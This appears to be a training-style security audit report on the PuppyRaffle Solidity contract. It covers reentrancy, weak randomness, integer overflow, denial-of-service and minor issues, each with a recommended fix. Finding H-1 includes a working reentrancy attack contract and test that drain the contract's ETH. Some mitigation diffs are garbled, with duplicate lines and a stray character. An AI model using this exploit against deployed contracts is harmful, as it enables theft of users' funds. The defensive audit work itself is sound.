GORGUT

PuppyRaffle Audit Report

Version 1.0

July 15, 2024

PuppyRaffle._. Audit Report

Gorgut

15 July , 2024

Prepared by: AlexGorgut Lead Auditor: - Alex Gorgut

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

```
./src/
# PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	8
Gas	2
Total	16

Issues found

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle:refund` allows attacker to drain all eth from the contract.

Description: The `PuppyRaffle::refund` function does not follow CEI(Checks, Effects, Interactions) and as a result, enables entrants to frain the eth from contract balance.

In the `PuppyRaffle:refund` function, we first make an external call to the `msg.sender` address and only afterwards update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");
@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balanve is drained/

Impact: All fees paid by raffle entrants could be stolen by malicious participant.

Proof of Concept: 1. Users enter the raffle. 2. Attacker creates malicious contract with `fallback` function that calls `PuppyRaffle::refund` . 3. Attacker enters the raffle. 4. Attacker calls the `PuppyRaffle::refund` funciton from their contract, draining the contact balance eth.

Proof of code:

Code

Place following in to the `PuppyRaffleTest.t.sol` file.

```
        function testReEntrancyRefund() public  {

        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);


        ReentrancyAttack attackerContract = new ReentrancyAttack(puppyRaffle);
        address attackerUser = makeAddr("attackUser");
        vm.deal(attackerUser,1 ether);

        uint  balanceAttacker = address(attackerUser).balance;
        uint  balanceContractAttacker = address(attackerContract).balance;


        vm.prank(attackerUser);
        attackerContract.attack{value: entranceFee}();

        uint  attackerContractBalAft = address(attackerContract).balance;
        uint  balanceAttackerAfter = address(attackerUser).balance;


        assert(balanceAttacker < attackerContractBalAft);

        console.log("starting attacker balance:", balanceAttacker);
        console.log("starting attacker contract balance:", balanceContractAttacker);
        console.log("ending attacker contract balance:", attackerContractBalAft);
        console.log("ending attacker balance:", balanceAttackerAfter);

    }
    contract ReentrancyAttack {
    PuppyRaffle victim;
    uint public entranceFee;
    uint public indexOfPlayer;

    constructor(PuppyRaffle _victim) {
        victim = _victim;
        entranceFee = victim.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        victim.enterRaffle{value: entranceFee}(players);

        indexOfPlayer = victim.getActivePlayerIndex(address(this));

        victim.refund(indexOfPlayer);
    }

    receive() external payable {
        if (address(victim).balance >= entranceFee) {
            victim.refund(indexOfPlayer);
        }
    }}
```

Recommended Mitigation: To prevent this, we reccomend following CEI, by placing `PuppyRaffle:players` array before the external call. Like that:

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
           player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
           already refunded, or is not active");f
+         players[playerIndex] = address(0);
+         emit RaffleRefunded(playerAddress);
          payable(msg.sender).sendValue(entranceFee);
-         players[playerIndex] = address(0);
-         emit RaffleRefunded(playerAddress);
    }
+         emit RaffleRefunded(playerAddress);
+         payable(msg.sender).sendValue(entranceFee);
```

[H-2] Weak randomness in `PuppyRaffle:selectWinner` allows users to predict the winner and influence or predict the “winiing| puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.dificulty` together creates a predictable find number. Malicious users can manipulate these values and choose the winner of the raffle tehmselfs.

Note: this means users could front-run this funciton and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthles.

Proof of Concept: 1. Validators can know ahead of time the block.timestamp and block.difficulty and use that knowledge to predict when / how to participate. See the solidity blog on prevrando. block.difficulty was recently replaced with prevrandao. 2. Users can manipulate the msg.sender value to result in their index being the winner. 3. USers can revert their `selectWinner` transaction if they don’t like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

Recommended Mitigation: Consider uring orcles like ChainLink for source of randomness

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In Solidity versions prior to `0.8.0`, integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;
// myVar will be 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We first conclude a raffle of 4 players to collect some fees. 2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well. 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Proof Of Code

Place this into the `PuppyRaffleTest.t.sol` file.

```
        function testTotalFeesOverflow() public playersEntered {

            uint playersNum = 89;
            // 90 players in total will enter, depositing 20e18 wei in
               total
            // which will trigger overflow
            // total fee should be equal 20 eth
            vm.warp(block.timestamp + duration + 1);
            vm.roll(block.number + 1);

            puppyRaffle.selectWinner();

            uint totalFeeBefore = puppyRaffle.totalFees();
            console.log("Total fees before: %s", totalFeeBefore);

            vm.warp(block.timestamp + duration + 1);
            vm.roll(block.number + 1);

            address[] memory players = new address[](playersNum);
            for (uint i; i< playersNum;i++) {
            players[i] = address(i + 5);// to skip playersEntered
                dublicates
            }
            puppyRaffle.enterRaffle{value: entranceFee * players.length
                 }(players);

            puppyRaffle.selectWinner();
            // Total fees after will show balance of ~0.15 eth due to
                overflow.
            uint totalFeeAfter = puppyRaffle.totalFees();
            console.log("Total fees after: %s", totalFeeAfter);
            assert(totalFeeBefore > totalFeeAfter);

            vm.expectRevert("PuppyRaffle: There are currently players
                active!");

            puppyRaffle.withdrawFees();
        }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity, that does not allow integer overflows by default.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future findin.

Medium

[M-1] Looping through players array to check for dublicates in `PuppyRaffle:enterRaffel` is potential denial of service (DOS) attack, incrementing gas cost for future entrants.

Description: The `PuppyRaffle:enterRaffle` function loops through the `players` array to check for dublicates. However, the longer `PuppyRaffle:players` array is, the more checks a new player will have to make. This means the gas cost of players who entered the raffle at start would dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check that loop mustmake.

```
@>          for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
```

Impact: The gas cost for raffle entrance would greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush during start of a raffle to be one of the first entrants in the queue.

Attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guarenteeing themselves the win.

Proof of Concept: If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252128 gas - 2st 100 players: ~18068218 gas

This is more than 3 times more expensive for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
 function test_denialOfService() public {
            uint playersNum = 100;

            address[] memory players = new address[](playersNum);
            for (uint i; i< playersNum;i++) {
            players[i] = address(i);
            }

            uint gasStart = gasleft();
```

```
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
        uint gasFinish = gasleft();
        uint gasUsedFirst = gasStart - gasFinish;
        console.log("Gas cost used: %s", gasUsedFirst);


        address[] memory playersTwo = new address[](playersNum);
        for (uint i; i< playersNum;i++) {
        playersTwo[i] = address(i + playersNum);
        }

        uint gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(playersTwo);
        uint gasFinishSecond = gasleft();
        uint gasUsedSecond = gasStartSecond - gasFinishSecond;
        console.log("Gas cost used: %s", gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation: Danial of service attack

1. Consider allowing dublicates. Users can make a new wallet addresses anyways, so a dublicate check doesn't prevent the same person form entering multiple times, only the same wallet.
2. Consider using a mapping ot check for dublicates. This would be way more gas officiant.

```
+   mapping(address => uint256) public addressToRaffleId;
+   uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }

-       // Check for dublicates
+       // Check for dublicates only from the new players
+       for (uint256 i = 0; i < newPlayers.length; i++) {
+        require(addressToRaffleId[newPlayers[i]]!= raffleId, "PuppyRaffle: Dublicate  +        player" );
+        }
-        for (uint256 i = 0; i < players.length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle:
   Duplicate player");
-              }
            emit RaffleEnter(newPlayers);
        }
.
.
.
    funciton selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
    }
```

[M-2] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existant players and at index 0, causing a player at index 0 to think that they have not entered the raffle.

Description: If a player is in the `PuppuRaffle::players` array at index 0, this function will return 0. However, according to the natural language specification (NatSpec), it should also return 0 if the player is not in the array at all.

```
    function getActivePlayerIndex(address player) external view returns
        (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }

        return 0;
    }
```

Impact: Player at index 0 might re-enter raffle (wasting gas) if `PuppyRaffle::getActivePlayerIndex` returns 0 for both missing players and those at index 0

Proof of Concept:

1. User enter the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User think that they have not entered correctly and try to re-enter

Recommended Mitigation: For clearer logic, getActivePlayerIndex could revert (or throw an exception) if the player isn't found, instead of using 0.

You could also return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declares constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable`. - `PuppyRaffle::commonImageUri` should be `constant`. - `PuppyRaffle::rareImageUri` should be `constant`. - `PuppyRaffle:legendaryImageUri` should be `constant`.

[G-2] Storage variables in a loop should be cached

Every single time when you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+        uint256 playersLength = players.length;
-         for (uint256 i = 0; i < players.length - 1; i++) {
```

```
+         for (uint256 i = 0; i < playersLength - 1; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
+             for (uint256 j = i + 1; j < playersLength; j++) {
                  require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
              }
          }
```

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

[I-2] Using an outdated version of Solidity is not reccommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation:

Deploy with a recent version of Solidity version `0.8.18`

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see [slither] (https://github.com/crytic/slither/wiki/Detector-Documentation#description-80) documentation for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 69

  ```
          feeAddress = _feeAddress;
  ```

- Found in src/PuppyRaffle.sol Line: 210

```
            feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not the best practice.

It's best to keep code clean and follow CEI

```
-        (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to
winner");
        _safeMint(winner, tokenId);
+        (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to
winner");
```

[I-5] Use of "magic" number is discouraged

It can be confusing to see numbers literals in a codebase, and it's much more readable if the numbers are given a name.

```

-        uint256 prizePool = (totalAmountCollected * 80) / 100;
-        uint256 fee = (totalAmountCollected * 20) / 100;


// example(due to change by developer team)
+         uint private WINNER_PRIZE_PRECENTAGE = 80;
+         uint private FEE_PRECENTAGE = 20;
+         uint private POOL_PRECISION = 100;
```

[I-6] State changes are missing events

Important changes to the raffle's state might not be properly tracked, making it difficult to understand what happened and when.

[I-7] `PuppyRaffle::_isActivePlayer` is never used ans should be removed

Unnecessary code like _isActivePlayer is cluttering things up and potentially wasting gas during execution. It should be removed for cleaner and more efficient code.

[I-8] Zero address may be erroneously considered an active player

Description: The `refund` function removes active players from the `players` array by setting the corresponding slots to zero. This is confirmed by its documentation, stating that "This function will allow there to be blank spots in the array". However, this is not taken into account by the `getActivePlayerIndex` function. If someone calls `getActivePlayerIndex` passing the zero address after there's been a refund, the function will consider the zero address an active player, and return its index in the `players` array.

Recommended Mitigation: Skip zero addresses when iterating the `players` array in the `getActivePlayerIndex`. Do note that this change would mean that the zero address can *never* be an active player. Therefore, it would be best if you also prevented the zero address from being registered as a valid player in the `enterRaffle` function.